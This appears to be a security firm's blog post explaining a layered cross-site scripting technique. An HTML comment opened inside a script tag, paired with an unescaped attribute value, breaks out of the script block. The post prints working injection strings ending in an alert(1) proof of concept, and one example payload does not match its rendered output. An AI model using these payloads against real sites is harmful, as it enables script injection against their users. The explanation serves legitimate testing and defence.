Scripts and comments make for an interesting day.
One of CREDS’ areas of expertise is web application testing. We have a team that focusses solely on web application testing and web application vulnerability research. This blog post describes a nice layered Cross-Site Scripting attack that is often overlooked by pentesters.
A while ago we noticed several applications escaping data embedded in script tags in a unexpected manner. By sending my test <b> input </b>
it would send back something like the following HTML:
<html>
<body>
<script>
console.log("my test <b> input <\/b>");
</script>
</body>
</html>
As you can see the application doesn’t escape the lesser and greater then characters (<
,>
) to their hex representation (\x3c
& \x3e
) but escapes the /
to \/
.
This stops a classic attack vector where you embed something like the payload </script><script>alert(1)</script>
inside script tags.
<html>
<body>
<script>
console.log("my test </script><script>alert(1)</script>");
</script>
</body>
</html>
The classic attack vector above, produces a well known alert box.
There are some complicated historical reasons that popularised the use of this type of escaping and it is often done so JavaScript can use these values without the html parser trying to interpret them and potentially breaking the JavaScript. this happens because JavaScript considers /
and \/
the same character, whereas the html parser considers them to be different from each other.
However escaping the solidus (/
) to \/
doesn’t sanitize the data embedded in script tags. And due to the lack of proper sanitisation we can still inject HTML into the document provided there are some (fairly common) conditions
The reason we can still inject HTML into the document is that the HTML parser doesn’t just scan for the closing script tag (</script>
), it has an additional set of strange restrictions. For example after opening a html comment (<!--
) inside a script tag, it starts ignoring all following sets of script open and close tags until it encounters the closing of the HTML comment (-->
).
Note that closing a script tag inside a HTML comment still closed the previous open script tag
Now with the knowledge of this behaviour, we can start looking for a way to exploit the lack of sanitization. It turns out we just need a location in the HTML document somewhere after the script tag where we have input and can enter the <
, >
,-
and /
characters and text.
It turns out that quite a few applications don’t escape these characters inside HTML tag attributes.
So considering the following example
<html>
<body>
<script>
console.log("input_1");
</script>
...
<input type="text" value="input_2">
...
</body>
</html>
We can inject html into the document by setting the first input to <!--<script>
and the second one to --><script><b>html injected</b>
creating the following html:
<html>
<body>
<script>
console.log("<!--<script>");
</script>
...
<input type="text" value="--></script><b>test</b>">
...
</body>
</html>
Notice that the set of script tags embedded in the first set of script tags is ignored by the html parser, effectively changing the content of the script tag to:
console.log("<!--<script>");
</script>
...
<input type="text" value="-->
This obviously isn’t valid JavaScript and will throw a syntax error.
By changing where the script tags ends it effectively commented out part of the html document, thus changing its structure. Since everything after the user supplied --></script>
is now seen as part of the html, browsers will display it as:
Which means we have a working html injection, now it’s trivial to perform a cross site scripting attack by changing the second parameter to something like --></script><script>alert(1)</script>
Resulting in a final html document that looks like this.
<html>
<body>
<script>
console.log("<!--<script>");
</script>
...
<input type="text" value="--></script><script>alert(1)</script>">
...
</body>
</html>
The resulting HTML of the final attack, produces a beautiful alert box.
Applications increasingly send dynamically generated data in script tags, because it prevents them from making an additional http request to fetch the data. Due to this increase this attack vector becomes more common.